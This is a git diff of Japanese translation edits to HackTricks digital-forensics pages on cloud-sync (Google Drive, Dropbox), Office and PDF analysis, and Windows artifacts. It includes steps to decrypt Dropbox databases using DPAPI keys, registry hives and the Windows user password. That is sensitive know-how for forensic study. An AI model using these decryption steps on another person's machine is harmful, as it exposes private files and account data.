-ファイル**`Cloud_graph\Cloud_graph.db`**は、**`cloud_graph_entry`**というテーブルを含むsqliteデータベースで、このテーブルでは、**同期されたファイル**の**名前**、変更時刻、サイズ、およびファイルのMD5チェックサムを見つけることができます。 +ファイル **`Cloud_graph\Cloud_graph.db`** は、 **`cloud_graph_entry`** というテーブルを含むsqliteデータベースで、このテーブルでは、**同期されたファイル** の **名前**、変更時刻、サイズ、およびファイルのMD5チェックサムを見つけることができます。 -データベース**`Sync_config.db`**のテーブルデータには、アカウントのメールアドレス、共有フォルダのパス、Google Driveのバージョンが含まれています。 +データベース **`Sync_config.db`** のテーブルデータには、アカウントのメールアドレス、共有フォルダのパス、Google Driveのバージョンが含まれています。 ## Dropbox -Dropboxはファイルを管理するために**SQLiteデータベース**を使用しています。\ -これらのデータベースは次のフォルダにあります: +Dropboxはファイルを管理するために **SQLiteデータベース** を使用しています。\ +これらのデータベースは次のフォルダにあります: -- `\Users\\AppData\Local\Dropbox` -- `\Users\\AppData\Local\Dropbox\Instance1` -- `\Users\\AppData\Roaming\Dropbox` +* `\Users\\AppData\Local\Dropbox` +* `\Users\\AppData\Local\Dropbox\Instance1` +* `\Users\\AppData\Roaming\Dropbox` -そして、主要なデータベースは次のとおりです: +そして、メインのデータベースは次のとおりです: -- Sigstore.dbx -- Filecache.dbx -- Deleted.dbx -- Config.dbx +* Sigstore.dbx +* Filecache.dbx +* Deleted.dbx +* Config.dbx -".dbx"拡張子は、これらのデータベースが**暗号化**されていることを意味します。Dropboxは**DPAPI**を使用しています([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN)) +".dbx" 拡張子は、これらの **データベースが暗号化** されていることを意味します。Dropboxは **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN)) を使用しています。 -Dropboxが使用する暗号化をよりよく理解するには、[https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html)を読んでください。 +Dropboxが使用する暗号化をよりよく理解するためには、[https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html) を読んでください。 -ただし、主な情報は次のとおりです: +ただし、主な情報は次のとおりです: -- **エントロピー**:d114a55212655f74bd772e37e64aee9b -- **ソルト**:0D638C092E8B82FC452883F95F355B8E -- **アルゴリズム**:PBKDF2 -- **反復回数**:1066 +* **エントロピー**: d114a55212655f74bd772e37e64aee9b +* **ソルト**: 0D638C092E8B82FC452883F95F355B8E +* **アルゴリズム**: PBKDF2 +* **反復回数**: 1066 -その情報以外に、データベースを復号化するには以下が必要です: +その情報に加えて、データベースを復号化するには以下が必要です: -- **暗号化されたDPAPIキー**:これは、`NTUSER.DAT\Software\Dropbox\ks\client`内のレジストリから見つけることができます(このデータをバイナリとしてエクスポートします) -- **`SYSTEM`**および**`SECURITY`**ハイブ -- **DPAPIマスターキー**:これは`\Users\\AppData\Roaming\Microsoft\Protect`内に見つけることができます -- Windowsユーザーの**ユーザー名**と**パスワード** +* **暗号化されたDPAPIキー**: これは `NTUSER.DAT\Software\Dropbox\ks\client` 内のレジストリから見つけることができます(このデータをバイナリとしてエクスポートします) +* **`SYSTEM`** および **`SECURITY`** ハイブ +* **DPAPIマスターキー**: これは `\Users\\AppData\Roaming\Microsoft\Protect` に見つけることができます +* Windowsユーザーの **ユーザー名** と **パスワード** -その後、[**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)を使用できます: +その後、[**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html) ツールを使用できます: -![](<../../../.gitbook/assets/image (448).png>) +![](<../../../.gitbook/assets/image (443).png>) -すべてが予想通りに進むと、ツールは**復元に使用する主キー**を示します。元のキーを復元するには、この[cyber\_chefレシピ](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)を使用し、主キーを「パスフレーズ」としてレシピ内に入力します。 +すべてが予想通りに進むと、ツールは **元のキーを回復するために使用する主キー** を示します。元のキーを回復するには、この [cyber\_chef レシピ](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\) を使用し、主キーを受け取った "passphrase" として設定します。 -結果の16進数は、データベースを復号化するために使用される最終キーであり、次のように復号化できます: +結果の16進数は、データベースを暗号化するために使用される最終キーであり、これは以下で復号化できます: ```bash sqlite -k config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db ``` @@ -95,7 +95,7 @@ sqlite -k config.dbx ".backup config.db" #This decompress the con - **Email**: ユーザーのメールアドレス - **usernamedisplayname**: ユーザーの名前 - **dropbox\_path**: Dropboxフォルダが配置されているパス -- **Host\_id**: クラウドへの認証に使用されるハッシュ。これはWebからのみ取り消すことができます。 +- **Host\_id**: クラウドへの認証に使用されるハッシュ。これはウェブからのみ取り消すことができます。 - **Root\_ns**: ユーザー識別子 **`filecache.db`**データベースには、Dropboxと同期されたすべてのファイルとフォルダに関する情報が含まれています。最も有用な情報を持つテーブルは`File_journal`です: @@ -113,24 +113,24 @@ sqlite -k config.dbx ".backup config.db" #This decompress the con - **deleted\_fields**: Dropboxで削除されたファイル - **date\_added** -
+
\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ -今すぐアクセスを取得: +今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-**htARTE(HackTricks AWS Red Team Expert)**でAWSハッキングをゼロからヒーローまで学ぶ +**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう! HackTricksをサポートする他の方法: - **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手 -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける -- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする -- **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する +- [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください +- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)をフォローしてください。 +- **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md index 2fb1908e9..abac74630 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md @@ -6,53 +6,53 @@ HackTricks をサポートする他の方法: -* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** または [telegramグループ](https://t.me/peass) に**参加** または **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) を**フォロー** してください。 -* **ハッキングトリックを共有するには** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリにPRを提出してください。 +* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見る +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** をフォローする** +* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出してください。
-
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** してください。\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** します。\ 今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} 詳細については [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) をチェックしてください。これは要約です: -Microsoft は多くのオフィスドキュメント形式を作成しており、主なタイプは **OLE形式**(RTF、DOC、XLS、PPTなど)と **Office Open XML(OOXML)形式**(DOCX、XLSX、PPTXなど)です。これらの形式にはマクロが含まれることがあり、それによりフィッシングやマルウェアの標的になります。OOXMLファイルはzipコンテナとして構造化されており、解凍してファイルとフォルダの階層、XMLファイルの内容を表示できます。 +Microsoft は多くのオフィス文書形式を作成しており、主なタイプは **OLE形式**(RTF、DOC、XLS、PPTなど)と **Office Open XML(OOXML)形式**(DOCX、XLSX、PPTXなど)です。これらの形式にはマクロが含まれることがあり、フィッシングやマルウェアの標的となります。OOXMLファイルはzipコンテナとして構造化されており、解凍してファイルとフォルダの階層、およびXMLファイルの内容を確認できます。 -OOXMLファイルの構造を調査するために、ドキュメントを解凍するためのコマンドと出力構造が提供されています。これらのファイルにデータを隠す技術が文書化されており、CTFチャレンジ内でのデータの隠蔽に関する革新が続いています。 +OOXMLファイルの構造を探るために、ドキュメントを解凍するコマンドと出力構造が提供されています。これらのファイルにデータを隠す技術が文書化されており、CTFチャレンジ内でのデータの隠蔽に関する革新が続いています。 -分析のために、**oletools** と **OfficeDissector** は、OLEおよびOOXMLドキュメントを調査するための包括的なツールセットを提供しています。これらのツールは、埋め込まれたマクロを特定し、分析するのに役立ちます。これらのマクロは、通常、マルウェアの配信ベクトルとして機能し、通常は追加の悪意のあるペイロードをダウンロードして実行します。VBAマクロの分析は、Libre Office を使用してMicrosoft Officeなしで行うことができ、ブレークポイントとウォッチ変数を使用したデバッグが可能です。 +分析のために、**oletools** と **OfficeDissector** は、OLEおよびOOXMLドキュメントの詳細なツールセットを提供しています。これらのツールは、埋め込まれたマクロを特定および分析するのに役立ちます。これらのマクロは、通常、マルウェアの配信ベクトルとして機能し、追加の悪意のあるペイロードをダウンロードして実行します。VBAマクロの分析は、Libre Office を使用してMicrosoft Officeを使用せずに行うことができ、ブレークポイントとウォッチ変数でデバッグが可能です。 -**oletools** のインストールと使用は簡単で、pipを使用してインストールするためのコマンドが提供され、ドキュメントからマクロを抽出するための手順が示されています。マクロの自動実行は、`AutoOpen`、`AutoExec`、または `Document_Open` などの関数によってトリガーされます。 +**oletools** のインストールと使用は簡単で、pipを使用してインストールするためのコマンドが提供され、ドキュメントからマクロを抽出するためのコマンドも提供されています。マクロの自動実行は、`AutoOpen`、`AutoExec`、または `Document_Open` などの関数によってトリガーされます。 ```bash sudo pip3 install -U oletools olevba -c /path/to/document #Extract macros ``` -
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフローを簡単に構築**し**自動化**します。\ +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ 今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-htARTE (HackTricks AWS Red Team Expert)で**ゼロからヒーローまでAWSハッキングを学ぶ** +**htARTE (HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでAWSハッキングを学ぶ** HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS & HackTricksのグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する -* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する +* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**してください。 +* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、**あなたのハッキングトリックを共有**してください。
diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md index 1abaef96e..10b2fa188 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md @@ -2,51 +2,51 @@
-htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ +htARTE(HackTricks AWS Red Team Expert) を通じてゼロからヒーローまでAWSハッキングを学ぶ HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* **HackTricksで企業を宣伝したい**場合や**PDFでHackTricksをダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する:[**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@hacktricks\_live**をフォローする +* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
-
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって**パワード**された**ワークフローを簡単に構築**および**自動化**します。\ -今すぐアクセスしてください: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセス: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -**詳細については、次をチェックしてください:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) +**詳細についてはこちらをチェック:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) PDF形式は、データを隠す可能性が高い複雑さで知られており、CTFフォレンジックチャレンジの焦点となっています。プレーンテキスト要素とバイナリオブジェクトを組み合わせ、圧縮されたり暗号化されたりする可能性があり、JavaScriptやFlashなどの言語でスクリプトを含むことができます。PDFの構造を理解するためには、Didier Stevensの[入門資料](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/)を参照するか、テキストエディタやOrigamiなどのPDF固有のエディタを使用することができます。 -PDFを詳細に探索または操作するためには、[qpdf](https://github.com/qpdf/qpdf)や[Origami](https://github.com/mobmewireless/origami-pdf)などのツールが利用可能です。PDF内の隠されたデータは、次のように隠されている可能性があります: +PDFの詳細な探査や操作のためには、[qpdf](https://github.com/qpdf/qpdf)や[Origami](https://github.com/mobmewireless/origami-pdf)などのツールが利用可能です。PDF内の隠されたデータは、次のように隠されている可能性があります: -* 不可視のレイヤー +* 不可視レイヤー * AdobeのXMPメタデータ形式 * インクリメンタルジェネレーション * 背景と同じ色のテキスト -* 画像の後ろのテキストまたは画像の上に重なるテキスト +* 画像の後ろのテキストまたは画像の重なり合い * 非表示のコメント -カスタムPDF分析のためには、[PeepDF](https://github.com/jesparza/peepdf)などのPythonライブラリを使用して、独自の解析スクリプトを作成できます。さらに、PDFの隠されたデータストレージの可能性は非常に広範囲であり、NSAによるPDFのリスクと対策に関するガイドなどのリソースは、元の場所でホストされていないものの、貴重な洞察を提供しています。ガイドの[コピー](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf)やAnge Albertiniによる[PDF形式のトリック](https://github.com/corkami/docs/blob/master/PDF/PDF.md)のコレクションは、このトピックに関するさらなる読書を提供できます。 +カスタムPDF分析のためには、[PeepDF](https://github.com/jesparza/peepdf)などのPythonライブラリを使用して、独自の解析スクリプトを作成することができます。さらに、PDFの隠されたデータストレージの可能性は非常に広範囲であり、PDFのリスクと対策に関するNSAガイドなどのリソースは、元の場所でホストされていないものの、貴重な洞察を提供しています。[ガイドのコピー](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf)やAnge Albertiniによる[PDF形式のトリック](https://github.com/corkami/docs/blob/master/PDF/PDF.md)のコレクションは、このトピックに関するさらなる読書を提供できます。
-htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ +htARTE(HackTricks AWS Red Team Expert) を通じてゼロからヒーローまでAWSハッキングを学ぶ HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* **HackTricksで企業を宣伝したい**場合や**PDFでHackTricksをダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する:[**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@hacktricks\_live**をフォローする +* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md b/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md index 80236d3b9..8c380a498 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md @@ -1,6 +1,6 @@ -# Windows Artifacts +# Windowsのアーティファクト -## Windows Artifacts +## Windowsのアーティファクト
@@ -9,42 +9,42 @@ HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする。 -* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリにPRを提出する。** +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)で**フォロー**する +* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
-## 一般的なWindowsアーティファクト +## 一般的なWindowsのアーティファクト -### Windows 10通知 +### Windows 10の通知 パス`\Users\\AppData\Local\Microsoft\Windows\Notifications`には、Windows Anniversaryより前の`appdb.dat`またはWindows Anniversary以降の`wpndatabase.db`というデータベースがあります。 -このSQLiteデータベース内には、興味深いデータを含む可能性があるすべての通知(XML形式)を含む`Notification`テーブルがあります。 +このSQLiteデータベース内には、興味深いデータが含まれている可能性があるすべての通知(XML形式)を含む`Notification`テーブルがあります。 ### タイムライン タイムラインは、訪れたWebページ、編集されたドキュメント、実行されたアプリケーションの**時間順の履歴**を提供するWindowsの特性です。 -データベースは、パス`\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`にあります。このデータベースは、SQLiteツールまたは[**WxTCmd**](https://github.com/EricZimmerman/WxTCmd)というツールで開くことができます。**これにより、2つのファイルが生成され、[**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md)で開くことができます。** +データベースは、パス`\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`にあります。このデータベースは、SQLiteツールまたは[**WxTCmd**](https://github.com/EricZimmerman/WxTCmd)というツールで開くことができ、[**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md)というツールで開くことができる**2つのファイルが生成されます**。 -### ADS(代替データストリーム) +### ADS(Alternate Data Streams) -ダウンロードされたファイルには、**ADS Zone.Identifier**が含まれており、それがイントラネット、インターネットなどから**どのように**ダウンロードされたかを示しています。一部のソフトウェア(ブラウザなど)は、通常、ファイルがダウンロードされたURLなどの**さらに多くの情報**を追加します。 +ダウンロードされたファイルには、**ADS Zone.Identifier**が含まれており、それがイントラネット、インターネットなどから**どのように**ダウンロードされたかを示しています。一部のソフトウェア(ブラウザなど)は、通常、ファイルがダウンロードされた**URL**などの**さらなる情報**を追加します。 ## **ファイルのバックアップ** ### リサイクルビン -Vista/Win7/Win8/Win10では、**リサイクルビン**はドライブのルートにあるフォルダ**`$Recycle.bin`**にあります(`C:\$Recycle.bin`)。\ +Vista/Win7/Win8/Win10では、**リサイクルビン**はドライブのルートにあるフォルダ**`$Recycle.bin`**にあります(`C:\$Recycle.bin`)。 このフォルダでファイルが削除されると、2つの特定のファイルが作成されます: * `$I{id}`: ファイル情報(削除された日付) * `$R{id}`: ファイルの内容 -![](<../../../.gitbook/assets/image (486).png>) +![](<../../../.gitbook/assets/image (1029).png>) これらのファイルを使用して、ツール[**Rifiuti**](https://github.com/abelcheung/rifiuti2)を使用して、削除されたファイルの元のアドレスと削除された日付を取得できます(Vista – Win10用に`rifiuti-vista.exe`を使用します)。 ``` @@ -54,25 +54,25 @@ Vista/Win7/Win8/Win10では、**リサイクルビン**はドライブのルー ### ボリュームシャドウコピー -Shadow Copyは、Microsoft Windowsに含まれる技術で、コンピュータファイルやボリュームの**バックアップコピー**やスナップショットを作成できます。これは、使用中であっても可能です。 +シャドウコピーは、Microsoft Windowsに含まれる技術で、コンピュータファイルやボリュームの**バックアップコピー**やスナップショットを作成できます。それらが使用中であってもです。 -これらのバックアップは通常、ファイルシステムのルートにある`\System Volume Information`にあり、名前は以下の画像に示す**UID**で構成されています: +これらのバックアップは通常、ファイルシステムのルートの`\System Volume Information`にあり、名前は以下の画像に示す**UID**で構成されています: -![](<../../../.gitbook/assets/image (520).png>) +![](<../../../.gitbook/assets/image (94).png>) -**ArsenalImageMounter**を使用してフォレンジックイメージをマウントすると、ツール[**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html)を使用してシャドウコピーを検査し、シャドウコピーのバックアップからファイルを**抽出**することができます。 +**ArsenalImageMounter**を使用してフォレンジックイメージをマウントすると、ツール[**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html)を使用してシャドウコピーを検査し、シャドウコピーのバックアップから**ファイルを抽出**することができます。 -![](<../../../.gitbook/assets/image (521).png>) +![](<../../../.gitbook/assets/image (576).png>) -レジストリエントリ`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore`には、バックアップしないファイルとキーが含まれています: +レジストリエントリ`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore`には、バックアップしない**ファイルとキー**が含まれています: -![](<../../../.gitbook/assets/image (522).png>) +![](<../../../.gitbook/assets/image (254).png>) レジストリ`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS`には、`Volume Shadow Copies`に関する構成情報も含まれています。 -### Officeの自動保存ファイル +### オフィスの自動保存ファイル -Officeの自動保存ファイルは、次の場所にあります: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` +オフィスの自動保存ファイルは、次の場所にあります: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` ## シェルアイテム @@ -114,164 +114,162 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs これは、**アプリケーションごとに示される最近使用されたファイル**のリストです。各アプリケーションでアクセスできる**最近使用されたファイルのリスト**です。これらは**自動的に作成されるか、カスタムで作成**されることがあります。 -**自動的に作成されたジャンプリスト**は、`C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`に保存されます。ジャンプリストは、初期IDがアプリケーションのIDである形式に従って名前が付けられます。 +**自動的に作成されるジャンプリスト**は、`C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`に保存されます。ジャンプリストは、初期IDがアプリケーションのIDである`{id}.autmaticDestinations-ms`という形式に従って命名されます。 